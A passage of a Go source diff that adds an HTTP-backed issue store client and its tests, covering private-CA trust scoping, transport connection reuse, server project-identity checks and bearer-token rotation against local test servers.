+} + +// snapshot returns the cached handshake, fetching it once if a transport is +// present. It no longer swallows the handshake error (ga-b8ddd.11, Option C): +// a wrong-server *wire.ProjectMismatchError has to reach GetMetadata so cmd/bd's +// pre-write workspace-identity check can FIRE on it rather than skip on a +// nil-turned-empty id. Per-request stamping (ga-b8ddd.12) now enforces identity +// on EVERY read and write independently — a drifted server refuses each stamped +// request before it answers — so this handshake path is the pre-write gate BESIDE +// that per-request one, no longer the only thing between a drifted server and a +// wrong-workspace answer. It dials nothing beyond the one lazy handshake +// ServerContext already owns — a successful fetch is cached, a failed one is +// reported and left uncached for the next attempt. +func (s *Store) snapshot(ctx context.Context) (*apigen.ContextResponse, error) { + s.mu.Lock() + defer s.mu.Unlock() + if s.ctxRes != nil || s.wire == nil { + return s.ctxRes, nil + } + res, err := s.wire.ServerContext(ctx) + if err != nil { + return nil, err + } + s.ctxRes = res + return res, nil +} + +// cachedSnapshot returns the handshake only if one has already been fetched. +// Decorating an error must never dial: a refusal is the one path that has to +// stay fast and side-effect free, and a taxonomy field is not worth a round trip +// the caller did not ask for. +func (s *Store) cachedSnapshot() *apigen.ContextResponse { + s.mu.Lock() + defer s.mu.Unlock() + return s.ctxRes +} + +// Close releases the store. Nothing local is held open, so this is a no-op +// (design D4, "Close"). +func (s *Store) Close() error { return nil } + +// The commit family is a NO-OP on this backend, not unsupported (design D3). +// The server's writes are durable when it writes the response, so a client-side +// "commit" of a remote store has nothing to flush. Refusing instead would break +// working commands rather than unsupported ones: doltAutoCommit defaults on for +// a registered workspace, so `bd ready --claim` calls Commit after a claim that +// already landed, and PersistentPostRunE turns any Commit error into a failed +// exit — exit 1 after a durable claim. +func (s *Store) Commit(_ context.Context, _ string) error { return nil } +func (s *Store) CommitWithConfig(_ context.Context, _ string) error { return nil } +func (s *Store) CommitMergeResolution(_ context.Context, _ string) error { return nil } + +// CommitAll joins that family rather than the unsupported shell, for the same +// D3 reason, and answers (false, nil): its bool reports whether a commit was +// CREATED, so `bd vc commit` prints "Nothing to commit" instead of claiming +// history this client does not own. A remote store has no working set to sweep. +func (s *Store) CommitAll(_ context.Context, _ string) (bool, error) { return false, nil } + +// CommitPending reports nothing pending, for the same reason: write paths call +// it opportunistically and must not error. +func (s *Store) CommitPending(_ context.Context, _ string) (bool, error) { return false, nil } diff --git a/internal/httpclient/store_dependent_test.go b/internal/httpclient/store_dependent_test.go new file mode 100644 index 000000000..0336cda05 --- /dev/null +++ b/internal/httpclient/store_dependent_test.go @@ -0,0 +1,550 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/ca_test.go, credential_test.go, target_test.go (store-dependent tests)@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "crypto/tls" + "crypto/x509" + "errors" + "fmt" + "io" + "net/http" + "net/http/httptest" + "net/http/httptrace" + "net/url" + "os" + "path/filepath" + "strings" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// warmIPv4OnlyCATransport pre-builds and caches target's CA-scoped transport +// — the exact (abs path, content hash) cache entry transportForFile would +// build and cache for it on Handshake's own first dial, per +// matchesCachedTransport's doc — and forces that cached *http.Transport to +// dial over tcp4 only. +// +// This closes the same Happy-Eyeballs ::1-vs-127.0.0.1 race +// forceIPv4Loopback documents and fixes for TransportFor's direct callers +// (ca_wrong_ca_test.go, ca_test.go): every server these tests dial is +// addressed by the hostname "localhost" (ca.startServer rewrites it there +// deliberately, so SNI is actually sent), which Go's default dialer races a +// tcp6 dial to ::1: against the real tcp4 dial to 127.0.0.1: +// for. An unrelated local process already bound to a colliding ephemeral +// port on ::1 can occasionally "win" that race before the real dial +// completes, and the client then speaks TLS to that unrelated process +// instead of the test server: handshake fails with a misleading "tls: first +// record does not look like a TLS handshake" instead of exercising anything +// the test is actually about (observed flake: +// TestTransportForSucceedsWithEnvCAFile). +// +// Unlike forceIPv4Loopback, this test never gets its hands on the +// *http.Transport Handshake's own DialWith builds internally (DialOptions{} +// leaves HTTPClient nil deliberately, so DialWith's own nil-HTTPClient +// branch is what's under test) — so instead of mutating that transport +// after the fact, this warms the SAME path-and-content-keyed cache entry +// DialWith's transportForFile call will hit, by calling the public +// TransportFor with the identical target first. DialWith then finds (and +// reuses, never rebuilds) the exact pointer already forced to tcp4-only, +// without changing which of DialWith's branches actually ran. +// +// It is a deliberate no-op when target has no CA configured (TransportFor +// returns nil, nil): that case resolves through the process-wide +// baselineTransport singleton instead, which this package exposes no cache +// to pre-warm from outside. The call sites that matter here all configure a +// CA, so this never silently skips the case it exists for. +func warmIPv4OnlyCATransport(t *testing.T, target Target) { + t.Helper() + rt, err := TransportFor(target) + if err != nil { + t.Fatalf("warmIPv4OnlyCATransport: TransportFor: %v", err) + } + if rt == nil { + return + } + forceIPv4Loopback(t, rt) +} + +// TestTransportForSucceedsWithSidecarCAFile is the "succeeds with ca_file +// (sidecar)" case: Target.CAFile, as `bd connect --ca-file` writes it. +func TestTransportForSucceedsWithSidecarCAFile(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-ca")} + u := ca.startServer(t, h.handler()) + + target := Target{BaseURL: u, CAFile: ca.writePEM(t)} + warmIPv4OnlyCATransport(t, target) + snap, err := Handshake(context.Background(), target, DialOptions{}) + if err != nil { + t.Fatalf("Handshake with sidecar ca_file: %v", err) + } + if snap.ProjectId != "proj-ca" { + t.Errorf("project_id = %q, want proj-ca", snap.ProjectId) + } + if !h.sawRequest() { + t.Fatal("server never saw a request") + } + if h.seenSNI() != "localhost" { + t.Errorf("SNI = %q, want %q; TransportFor must not override ServerName", h.seenSNI(), "localhost") + } + if wantHost := u.Host; h.seenHost() != wantHost { + t.Errorf("Host header = %q, want %q", h.seenHost(), wantHost) + } +} + +// TestTransportForSucceedsWithEnvCAFile is the "succeeds with ca_file (env)" +// case: BEADS_HTTP_CA_FILE, host-scoped to exactly this target's host:port, +// with no sidecar CAFile at all. +func TestTransportForSucceedsWithEnvCAFile(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-env-ca")} + u := ca.startServer(t, h.handler()) + t.Setenv(CAFileEnv, u.Host+"="+ca.writePEM(t)) + + target := Target{BaseURL: u} + warmIPv4OnlyCATransport(t, target) + snap, err := Handshake(context.Background(), target, DialOptions{}) + if err != nil { + t.Fatalf("Handshake with %s: %v", CAFileEnv, err) + } + if snap.ProjectId != "proj-env-ca" { + t.Errorf("project_id = %q, want proj-env-ca", snap.ProjectId) + } +} + +// TestCAFileEnvAgreeingWithSidecarSucceeds pins the documented precedence when +// the two rungs agree: the env var's host-scoped pattern matches the target +// and names the SAME file the sidecar does, so there is nothing to disagree +// about and the dial succeeds. +func TestCAFileEnvAgreeingWithSidecarSucceeds(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-agree")} + u := ca.startServer(t, h.handler()) + + path := ca.writePEM(t) + t.Setenv(CAFileEnv, u.Host+"="+path) + target := Target{BaseURL: u, CAFile: path} + warmIPv4OnlyCATransport(t, target) + + if _, err := Handshake(context.Background(), target, DialOptions{}); err != nil { + t.Fatalf("env and sidecar naming the same CA for the same target should succeed: %v", err) + } +} + +// TestCAFileEnvDisagreeingWithSidecarRefuses is finding 1(c): the env var's +// host-scoped pattern matches the target, but names a DIFFERENT file than the +// target's own sidecar ca_file. That is a hard refusal, not a silent +// override in either direction — the two disagreeing is very likely a stale +// sidecar or a misdirected env var, and picking one silently would trust +// whichever file the operator did not intend. +func TestCAFileEnvDisagreeingWithSidecarRefuses(t *testing.T) { + clearCAEnvironment(t) + right := newTestCA(t) + wrong := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-disagree")} + u := right.startServer(t, h.handler()) + + t.Setenv(CAFileEnv, u.Host+"="+right.writePEM(t)) + target := Target{BaseURL: u, CAFile: wrong.writePEM(t)} + + _, err := Handshake(context.Background(), target, DialOptions{}) + if err == nil { + t.Fatal("Handshake succeeded despite the env CA and the sidecar ca_file disagreeing for the same target") + } + if !strings.Contains(err.Error(), CAFileEnv) { + t.Errorf("error %q does not name %s", err, CAFileEnv) + } + if h.sawRequest() { + t.Error("server saw a request; a disagreement must be refused before dialing") + } +} + +// TestCAFileEnvNonMatchingHostKeepsSystemRoots is the mandated test for +// finding 1: a target whose host the env var's pattern does NOT match must +// keep using system roots (or its own sidecar), never the env's private CA — +// otherwise BEADS_HTTP_CA_FILE set for one server would let its +// no-name-constraints CA impersonate every other host this process dials, +// e.g. api.github.com. +func TestCAFileEnvNonMatchingHostKeepsSystemRoots(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-other-host")} + u := ca.startServer(t, h.handler()) + + // The env var is well-formed and points at a valid CA, but scoped to a + // host that is NOT the target being dialed. + t.Setenv(CAFileEnv, "unrelated.example.com:9999="+ca.writePEM(t)) + + target := Target{BaseURL: u} + _, err := Handshake(context.Background(), target, DialOptions{}) + if err == nil { + t.Fatal("Handshake succeeded against a private-CA server using only system roots; the non-matching env var must not have applied") + } + if h.sawRequest() { + t.Error("server saw a request; TLS verification against system roots should have failed before any HTTP request") + } +} + +// TestTransportForWrongCAFails is the "fails with the wrong CA" case. +func TestTransportForWrongCAFails(t *testing.T) { + clearCAEnvironment(t) + serverCA := newTestCA(t) + otherCA := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-wrong-ca")} + u := serverCA.startServer(t, h.handler()) + + target := Target{BaseURL: u, CAFile: otherCA.writePEM(t)} + _, err := Handshake(context.Background(), target, DialOptions{}) + if err == nil { + t.Fatal("Handshake succeeded against a server signed by a CA other than the configured one") + } + if h.sawRequest() { + t.Error("server saw a request; the TLS handshake should have failed before any HTTP request") + } +} + +// TestNoCAConfiguredOnlySystemRootsFails is the "fails with the right hostname +// but only system roots" case: a workspace that never configured ca_file or +// BEADS_HTTP_CA_FILE must not trust a private CA just because it dialed the +// right host. +func TestNoCAConfiguredOnlySystemRootsFails(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-no-ca")} + u := ca.startServer(t, h.handler()) + + target := Target{BaseURL: u} + _, err := Handshake(context.Background(), target, DialOptions{}) + if err == nil { + t.Fatal("Handshake succeeded with no CA configured against a server the system roots do not trust") + } +} + +// TestDialWithNilTransportHTTPClientGetsCAInjectedOnACopy is finding 5's +// first half: a caller that supplies an *http.Client with a nil Transport +// (Timeout, CheckRedirect, Jar set for its own reasons, but no opinion on the +// transport) gets the resolved CA transport injected automatically — DialWith +// must not silently drop ca_file just because HTTPClient was non-nil — and it +// must happen on a COPY, leaving the caller's own *http.Client untouched. +func TestDialWithNilTransportHTTPClientGetsCAInjectedOnACopy(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-nil-transport-client")} + u := ca.startServer(t, h.handler()) + + callerClient := &http.Client{Timeout: 7 * time.Second} + target := Target{BaseURL: u, CAFile: ca.writePEM(t)} + warmIPv4OnlyCATransport(t, target) + + snap, err := Handshake(context.Background(), target, DialOptions{HTTPClient: callerClient}) + if err != nil { + t.Fatalf("Handshake with a nil-Transport HTTPClient and a configured CA: %v", err) + } + if snap.ProjectId != "proj-nil-transport-client" { + t.Errorf("project_id = %q, want proj-nil-transport-client", snap.ProjectId) + } + if callerClient.Transport != nil { + t.Error("DialWith mutated the caller's own *http.Client; it must inject on a copy") + } +} + +// TestDialWithOwnTransportHTTPClientAndConfiguredCARefuses is finding 5's +// second half: a caller that supplies an *http.Client with its OWN non-nil +// Transport has taken the transport over completely. If the target also has a +// CA configured, DialWith must refuse rather than silently dialing through a +// transport that may not trust it. +func TestDialWithOwnTransportHTTPClientAndConfiguredCARefuses(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-own-transport")} + u := ca.startServer(t, h.handler()) + + pool := x509.NewCertPool() + pool.AddCert(mustParseOneCert(t, ca.pem)) + // This transport actually trusts the CA — the refusal must fire on the + // mere presence of a caller-supplied Transport plus a configured CA, not + // on whether that transport happens to be wrong. + explicit := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{RootCAs: pool}}} + + target := Target{BaseURL: u, CAFile: ca.writePEM(t)} + _, err := Handshake(context.Background(), target, DialOptions{HTTPClient: explicit}) + if err == nil { + t.Fatal("Handshake succeeded with a caller-supplied Transport and a configured CA; DialWith should refuse rather than silently trust the caller's own transport") + } + if !strings.Contains(err.Error(), "ca_file") && !strings.Contains(err.Error(), CAFileEnv) { + t.Errorf("error %q does not name the CA setting at fault", err) + } + if h.sawRequest() { + t.Error("server saw a request; the refusal must fire before dialing") + } +} + +// TestDialWithOwnTransportHTTPClientAndNoCAIsUsedVerbatim confirms the other +// branch of finding 5: when the target has NO CA configured, a +// caller-supplied Transport is used exactly as given — DialWith has nothing +// to add and nothing to refuse. +func TestDialWithOwnTransportHTTPClientAndNoCAIsUsedVerbatim(t *testing.T) { + clearCAEnvironment(t) + h := &caContextHandler{body: v0Context("proj-own-transport-no-ca")} + srv := httptest.NewServer(h.handler()) + t.Cleanup(srv.Close) + u, err := url.Parse(srv.URL) + if err != nil { + t.Fatalf("parse server URL: %v", err) + } + + explicit := &http.Client{Transport: http.DefaultTransport} + target := Target{BaseURL: u} + snap, err := Handshake(context.Background(), target, DialOptions{HTTPClient: explicit}) + if err != nil { + t.Fatalf("Handshake with a caller Transport and no CA configured: %v", err) + } + if snap.ProjectId != "proj-own-transport-no-ca" { + t.Errorf("project_id = %q, want proj-own-transport-no-ca", snap.ProjectId) + } +} + +// countBurstConnections fires n concurrent GETs at target through client and +// reports how many of them did NOT reuse an existing connection +// (httptrace.GotConnInfo.Reused == false), i.e. how many paid for a fresh +// dial (and, for this transport, a fresh TLS handshake). +func countBurstConnections(t *testing.T, client *http.Client, target *url.URL, n int) int64 { + t.Helper() + var wg sync.WaitGroup + var newConns int64 + for i := 0; i < n; i++ { + wg.Add(1) + go func() { + defer wg.Done() + reused := make(chan bool, 1) + trace := &httptrace.ClientTrace{ + GotConn: func(info httptrace.GotConnInfo) { reused <- info.Reused }, + } + ctx := httptrace.WithClientTrace(context.Background(), trace) + req, err := http.NewRequestWithContext(ctx, http.MethodGet, target.String(), nil) + if err != nil { + t.Errorf("NewRequest: %v", err) + return + } + resp, err := client.Do(req) + if err != nil { + t.Errorf("Do: %v", err) + return + } + // A connection only goes back into the idle pool once its body is + // drained to EOF: Close() alone does not reuse it (net/http's + // documented behavior), so an un-drained Close here would make + // every request in the burst look like a fresh dial regardless of + // MaxIdleConnsPerHost. + _, _ = io.Copy(io.Discard, resp.Body) + _ = resp.Body.Close() + if !<-reused { + atomic.AddInt64(&newConns, 1) + } + }() + } + wg.Wait() + return atomic.LoadInt64(&newConns) +} + +// TestTransportForRaisesMaxIdleConnsPerHostForBursts is the perf-hardening +// half of TransportFor: gc's ready-veto fan-out dials one CA-scoped target at +// concurrency 8, and http.DefaultTransport's MaxIdleConnsPerHost of 2 would +// force a fresh TLS handshake (~120ms at a cross-region round-trip time this CA exists +// for) on 6 of every 8 requests even once the pool is warm. This asserts the +// ceiling TransportFor sets, and that a burst run twice — the second after the +// first has gone idle — reuses every connection the second time, rather than +// re-dialing past whatever the ceiling is. +func TestTransportForRaisesMaxIdleConnsPerHostForBursts(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-pool")} + u := ca.startServer(t, h.handler()) + + rt, err := TransportFor(Target{BaseURL: u, CAFile: ca.writePEM(t)}) + if err != nil { + t.Fatalf("TransportFor: %v", err) + } + transport, ok := rt.(*http.Transport) + if !ok { + t.Fatalf("TransportFor returned %T, want *http.Transport", rt) + } + if transport.MaxIdleConnsPerHost != maxIdleConnsPerHost { + t.Errorf("MaxIdleConnsPerHost = %d, want %d", transport.MaxIdleConnsPerHost, maxIdleConnsPerHost) + } + t.Cleanup(transport.CloseIdleConnections) + + const burst = 8 + client := &http.Client{Transport: transport} + + if warm := countBurstConnections(t, client, u, burst); warm == 0 { + t.Fatal("first burst reused connections that could not have existed yet") + } + + // Let the just-finished burst's connections settle into the idle pool + // before firing the repeat — reuse only happens once a connection is + // idle, not merely finished. + var steady int64 + for attempt := 0; attempt < 5; attempt++ { + time.Sleep(50 * time.Millisecond) + steady = countBurstConnections(t, client, u, burst) + if steady == 0 { + break + } + } + if steady != 0 { + t.Errorf("repeat burst dialed %d/%d fresh connections after warm-up; MaxIdleConnsPerHost=%d is not keeping enough connections idle", steady, burst, transport.MaxIdleConnsPerHost) + } +} + +// --- finding 6: transport caching and root rotation --- + +// TestHandshakeGatesIdentityBeforeAnythingIsServed is the wrong-server +// diagnostic connect leans on: the sidecar's pin is compared with the server's +// own project id, and a mismatch names both plus where that server's data lives. +func TestHandshakeGatesIdentityBeforeAnythingIsServed(t *testing.T) { + clearCredentialEnvironment(t) + server := &contextServer{body: v0Context("proj-server")} + srv := server.start(t) + + target := Target{BaseURL: mustParseURL(t, srv.URL), ExpectProjectID: "proj-workspace"} + _, err := Handshake(context.Background(), target, DialOptions{}) + if err == nil { + t.Fatal("Handshake accepted a server that owns a different project") + } + var mismatch *wire.ProjectMismatchError + if !errors.As(err, &mismatch) { + t.Fatalf("Handshake error = %T (%v), want *wire.ProjectMismatchError", err, err) + } + for _, want := range []string{"proj-server", "proj-workspace", "/srv/repo", "bd connect"} { + if !strings.Contains(mismatch.Error(), want) { + t.Errorf("mismatch text is missing %q:\n%s", want, mismatch.Error()) + } + } +} + +func TestHandshakeAcceptsTheMatchingServer(t *testing.T) { + clearCredentialEnvironment(t) + server := &contextServer{body: v0Context("proj-1")} + srv := server.start(t) + + got, err := Handshake(context.Background(), Target{BaseURL: mustParseURL(t, srv.URL), ExpectProjectID: "proj-1"}, DialOptions{}) + if err != nil { + t.Fatalf("Handshake: %v", err) + } + if got.ProjectId != "proj-1" { + t.Errorf("project_id = %q, want proj-1", got.ProjectId) + } +} + +// TestOpenThroughTheDefaultDialerReachesTheServer walks the whole activation +// path with nothing stubbed: the sidecar the connect path writes, the registered +// default dialer, and the lazy handshake behind the workspace-identity probe. +func TestOpenThroughTheDefaultDialerReachesTheServer(t *testing.T) { + clearCredentialEnvironment(t) + server := &contextServer{body: v0Context("proj-1")} + srv := server.start(t) + + dir := t.TempDir() + if err := SaveTarget(dir, Target{BaseURL: mustParseURL(t, srv.URL), ExpectProjectID: "proj-1"}); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + + prev := dialer + RegisterDefaultDialer(DialOptions{UserAgent: "bd/test " + WireUserAgentSuffix}) + t.Cleanup(func() { dialer = prev }) + + opened, err := NewFromConfig(context.Background(), dir) + if err != nil { + t.Fatalf("NewFromConfig: %v", err) + } + t.Cleanup(func() { _ = opened.Close() }) + + // Nothing has dispatched yet: design D6 makes the context fetch lazy, so a + // command that only needs the baseline pays for one round trip, not two. + if len(server.seen) != 0 { + t.Errorf("Open dialed %d times; the handshake is lazy", len(server.seen)) + } + + got, err := opened.GetMetadata(context.Background(), "_project_id") + if err != nil { + t.Fatalf("GetMetadata(_project_id): %v", err) + } + if got != "proj-1" { + t.Errorf("_project_id = %q, want the server's project", got) + } + if len(server.seen) != 1 { + t.Errorf("handshake ran %d times, want once and cached", len(server.seen)) + } +} + +// TestDialSendsTheBearerAndRetriesOnceAfterRotation composes the provider with +// the wire client's one-retry window: a client rolled mid-flight 401s once and +// succeeds on the retry, and only because Refresh re-read the source. +func TestDialSendsTheBearerAndRetriesOnceAfterRotation(t *testing.T) { + clearCredentialEnvironment(t) + path := filepath.Join(t.TempDir(), "credentials") + t.Setenv("BEADS_CREDENTIALS_FILE", path) + + server := &contextServer{body: v0Context("proj-1"), require: "rolled"} + srv := server.start(t) + base := mustParseURL(t, srv.URL) + + // The section key carries the server's ephemeral port, which only exists + // once httptest has bound. + writeCredential := func(token string) { + t.Helper() + if err := os.WriteFile(path, []byte(fmt.Sprintf("[%s]\npassword=%s\n", base.Host, token)), 0o600); err != nil { + t.Fatalf("write credentials file: %v", err) + } + } + writeCredential("stale") + server.onUnauthorized = func() { writeCredential("rolled") } + + conn, err := Dial(Target{BaseURL: base}, DialOptions{}) + if err != nil { + t.Fatalf("Dial: %v", err) + } + if _, err := conn.ServerContext(context.Background()); err != nil { + t.Fatalf("ServerContext across a rotation: %v", err) + } + + if len(server.seen) != 2 { + t.Fatalf("server saw %d requests, want the 401 and its single retry: %v", len(server.seen), server.seen) + } + if server.seen[0] != "Bearer stale" || server.seen[1] != "Bearer rolled" { + t.Errorf("request headers = %v, want the stale token then the rolled one", server.seen) + } +} + +// TestDialDoesNotRetryACredentialThatDidNotRoll: one retry is the whole +// rotation window. A second attempt with the same refused token would turn a +// clear 401 into two. +func TestDialDoesNotRetryACredentialThatDidNotRoll(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "127.0.0.1=wrong") + + server := &contextServer{body: v0Context("proj-1"), require: "right"} + srv := server.start(t) + + conn, err := Dial(Target{BaseURL: mustParseURL(t, srv.URL)}, DialOptions{}) + if err != nil { + t.Fatalf("Dial: %v", err) + } + if _, err := conn.ServerContext(context.Background()); err == nil { + t.Fatal("ServerContext succeeded against a server that refuses this token") + } + if len(server.seen) != 1 { + t.Errorf("server saw %d requests, want exactly one: %v", len(server.seen), server.seen) + } +} diff --git a/internal/httpclient/store_test.go b/internal/httpclient/store_test.go new file mode 100644 index 000000000..117c77c4b --- /dev/null +++ b/internal/httpclient/store_test.go @@ -0,0 +1,465 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/store_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "net/url" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// fakeWire answers the handshake and nothing else. +// +// The embedded WriteWire is nil by design: it makes this double satisfy the +// transport seam however the role beads grow it, and it makes calling an +// operation it does not answer a panic rather than a silent zero — which is what +// a test that reached for one would deserve. A test that DOES need a write +// operation embeds its own stub instead (see the role tests). +type fakeWire struct { + WriteWire + + res *apigen.ContextResponse + err error + hits int + + // preflight and do stand in for the dispatch half of the seam. Nil means + // "this test does not dispatch": both fail loudly rather than answering + // something plausible, so a test that starts dispatching by accident says + // so instead of passing on a zero value. + preflight func(ctx context.Context, op string) error + do func(ctx context.Context, req wire.Request, out any) error +} + +func (f *fakeWire) ServerContext(context.Context) (*apigen.ContextResponse, error) { + f.hits++ + return f.res, f.err +} + +func (f *fakeWire) Preflight(ctx context.Context, op string) error { + if f.preflight == nil { + return fmt.Errorf("fakeWire: unexpected pre-flight for %q", op) + } + return f.preflight(ctx, op) +} + +func (f *fakeWire) Do(ctx context.Context, req wire.Request, out any) error { + if f.do == nil { + return fmt.Errorf("fakeWire: unexpected dispatch of %q", req.Op) + } + return f.do(ctx, req, out) +} + +// pinnedProjectTarget is this file's own Target builder, distinct from +// helpers_test.go's testTarget: several tests here assert against this +// specific URL and ExpectProjectID (the identity-mismatch and GetMetadata +// project-id tests), so it cannot share the generic "nothing pinned yet" +// helper. S3 reconciliation (2026-10) renamed it off +// testTarget — the lift had declared two package-scope functions under that +// one name (here and in helpers_test.go), which never compiled. +func pinnedProjectTarget(t *testing.T) Target { + t.Helper() + u, err := url.Parse("http://127.0.0.1:7777") + if err != nil { + t.Fatalf("parse url: %v", err) + } + return Target{BaseURL: u, ExpectProjectID: "proj-1"} +} + +// TestCommitFamilyIsNoOp is the D3 posture. Without it `bd ready --claim` exits +// 1 after a durable claim: auto-commit defaults on for a registered workspace, +// the claim path calls Commit, and PostRun turns any Commit error into a failed +// exit. +func TestCommitFamilyIsNoOp(t *testing.T) { + s := New(pinnedProjectTarget(t), nil, nil) + ctx := context.Background() + + if err := s.Commit(ctx, "msg"); err != nil { + t.Errorf("Commit: %v, want nil", err) + } + if err := s.CommitWithConfig(ctx, "msg"); err != nil { + t.Errorf("CommitWithConfig: %v, want nil", err) + } + if err := s.CommitMergeResolution(ctx, "msg"); err != nil { + t.Errorf("CommitMergeResolution: %v, want nil", err) + } + pending, err := s.CommitPending(ctx, "actor") + if err != nil { + t.Errorf("CommitPending: %v, want nil", err) + } + if pending { + t.Error("CommitPending reported pending work; a remote store has none") + } + committed, err := s.CommitAll(ctx, "msg") + if err != nil { + t.Errorf("CommitAll: %v, want nil", err) + } + if committed { + t.Error("CommitAll claimed it created a commit; a remote store has no working set") + } + if err := s.Close(); err != nil { + t.Errorf("Close: %v, want nil", err) + } +} + +// TestCommitFamilyIsNotOnTheUnsupportedMap guards the other direction: if the +// commit family ever drifts onto the allowlist, the no-ops above are dead code +// and the claim path breaks. +func TestCommitFamilyIsNotOnTheUnsupportedMap(t *testing.T) { + for _, name := range []string{"Commit", "CommitWithConfig", "CommitMergeResolution", "CommitAll", "CommitPending", "Close"} { + if reason, ok := legitimatelyUnsupported[name]; ok { + t.Errorf("%q is on the unsupported allowlist (%q) but D3/D4 require a no-op", name, reason) + } + } +} + +// TestRefusalUnwrapsToPortableSentinel is the classification contract the whole +// refusal surface rests on: errors.As reaches *storage.ErrUnsupported through +// the richer http sentinel, and Op names the method that refused. +func TestRefusalUnwrapsToPortableSentinel(t *testing.T) { + // The handshake has already run, so the refusal decorates from the cache. + // Decorating must never dial: pass no transport at all. + s := New(pinnedProjectTarget(t), nil, &apigen.ContextResponse{ + BdVersion: "1.2.3", + Capabilities: []string{"issues.list", "issues.get"}, + }) + + // GetMetadata on a key other than _project_id is the STABLE sample, and the + // reason is worth stating so the next re-sampler does not rediscover it: the + // two properties this test needs are disjoint on ROLE ACCESSORS. It needs a + // refusal that is store-bound — only (*Store).unsupported fills in the + // ServerURL, BdVersion and Capabilities asserted below, where the generated + // shell's stubs hang off an empty value receiver and carry none of them — and + // it needs one that refuses permanently. Every hand-written accessor is one + // of D8's seventeen and eventually flips, and every permanent refuser is on + // the shell, so no accessor is both. This method is: it is hand-written, and + // no v0 operation exposes the metadata table beyond the identity key. + _, err := s.GetMetadata(context.Background(), "some-other-key") + if err == nil { + t.Fatal("GetMetadata on a non-identity key returned no error") + } + + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Op != "GetMetadata" { + t.Errorf("Op = %q, want %q", unsup.Op, "GetMetadata") + } + if unsup.Backend != "http" { + t.Errorf("Backend = %q, want %q", unsup.Backend, "http") + } + + var httpErr *ErrHTTPUnsupported + if !errors.As(err, &httpErr) { + t.Fatalf("errors.As to *ErrHTTPUnsupported failed for %v", err) + } + if httpErr.ServerURL != "http://127.0.0.1:7777" { + t.Errorf("ServerURL = %q, want the target", httpErr.ServerURL) + } + if httpErr.BdVersion != "1.2.3" { + t.Errorf("BdVersion = %q, want it from the handshake", httpErr.BdVersion) + } + if got := strings.Join(httpErr.Capabilities, ","); got != "issues.get,issues.list" { + t.Errorf("Capabilities = %q, want the advertised tokens sorted", got) + } + if !strings.Contains(err.Error(), "http://127.0.0.1:7777") { + t.Errorf("Error() = %q, want it to name the server", err.Error()) + } +} + +// TestRefusalDoesNotDial: a refusal is the one path that must stay fast and +// side-effect free, so decorating it uses the cached handshake or nothing. +// +// The sample has to be a STORE-BOUND refusal for this to assert anything at +// all — a generated shell stub cannot reach a transport, so it would report +// zero dials without the store having decided anything. See +// TestRefusalUnwrapsToPortableSentinel for why GetMetadata is the one method +// that is both store-bound and permanently refusing. +func TestRefusalDoesNotDial(t *testing.T) { + wire := &fakeWire{res: &apigen.ContextResponse{BdVersion: "1.2.3"}} + s := New(pinnedProjectTarget(t), wire, nil) + + if _, err := s.GetMetadata(context.Background(), "some-other-key"); err == nil { + t.Fatal("GetMetadata on a non-identity key returned no error") + } + if wire.hits != 0 { + t.Errorf("decorating a refusal dialed the server %d times, want 0", wire.hits) + } +} + +// TestBackstopRefusalNamesNoEmptyServer covers the generated shell's arm: it +// hangs off an empty receiver and cannot reach a target, so it must fall back to +// the portable rendering instead of printing "bd serve at " with nothing after. +// +// The sample was Commenter until client wave ga-f352s wired that accessor, at +// which point a zero Store answered the no-transport BUILD fault instead of the +// shell's refusal — a different error with a different meaning, and the test +// said so. It is Bootstrapper now, which is on the shell permanently: bootstrap +// is a server-side act, so no operation will ever put an accessor in front of it +// here. +func TestBackstopRefusalNamesNoEmptyServer(t *testing.T) { + _, err := (&Store{}).Bootstrapper() + if err == nil { + t.Fatal("Bootstrapper returned no error") + } + if strings.Contains(err.Error(), "bd serve at") { + t.Errorf("Error() = %q, want no dangling server clause", err.Error()) + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) || unsup.Op != "Bootstrapper" { + t.Errorf("backstop refusal did not classify: %v", err) + } +} + +// TestGetMetadataServesProjectIdentity is D4's workspace-identity disposition. +// cmd/bd swallows an error here into "skip validation", so refusing would +// silently disarm wrong-server protection. +func TestGetMetadataServesProjectIdentity(t *testing.T) { + wire := &fakeWire{res: &apigen.ContextResponse{ProjectId: "proj-1"}} + s := New(pinnedProjectTarget(t), wire, nil) + ctx := context.Background() + + got, err := s.GetMetadata(ctx, "_project_id") + if err != nil { + t.Fatalf("GetMetadata(_project_id): %v", err) + } + if got != "proj-1" { + t.Errorf("GetMetadata(_project_id) = %q, want %q", got, "proj-1") + } + + // The handshake is fetched once and cached for the process (D6). + if _, err := s.GetMetadata(ctx, "_project_id"); err != nil { + 